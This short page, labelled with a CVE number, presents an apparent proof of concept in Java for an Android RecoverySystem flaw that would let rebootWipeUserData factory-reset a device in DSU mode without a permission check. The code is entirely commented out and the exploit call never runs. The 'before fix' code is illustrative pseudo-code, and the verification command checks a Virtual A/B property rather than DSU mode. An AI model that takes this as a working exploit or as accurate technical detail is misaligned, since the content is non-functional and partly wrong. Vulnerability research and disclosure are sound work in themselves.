CVE-2025-48614

// CVE-2025-48614 PoC - Android RecoverySystem RebootWipeUserData Exploitation // Note: This PoC demonstrates the vulnerability concept in DSU mode // Actual exploitation requires physical access to device in DSU state /* import android.os.RecoverySystem; public class DSUWipeExploit { /** * Vulnerable code path in RecoverySystem.java * Location: rebootWipeUserData method * Issue: Missing permission check in DSU mode * * Before fix: * private void rebootWipeUserData() { * // No permission check performed * // Directly proceeds with wipe operation * wipeData(); * } * * After fix should include: * - PermissionManager.checkPermission() * - DSU mode state verification * - User consent verification */ public static void exploitWipeUserData() { try { // In DSU mode, this call can be triggered without authorization // RecoverySystem.rebootWipeUserData() // will execute factory reset without proper permission check // Prerequisites for exploitation: // 1. Physical access to device // 2. Device must be in DSU (Dynamic System Update) mode // 3. No user interaction required System.out.println("Attempting to trigger factory reset via DSU mode..."); // The vulnerable method call // RecoverySystem.rebootWipeUserData(); } catch (SecurityException e) { System.out.println("Attack blocked - permission check present"); } } } // Verification: // Check if device is in DSU mode: // $ getprop ro.virtual_ab.enabled // Should return true for DSU-enabled devices // Patch verification: // Review commit: ec0c32ea736ba3c594352c345358a778334bc773 // RecoverySystem.java should now include proper permission validation */
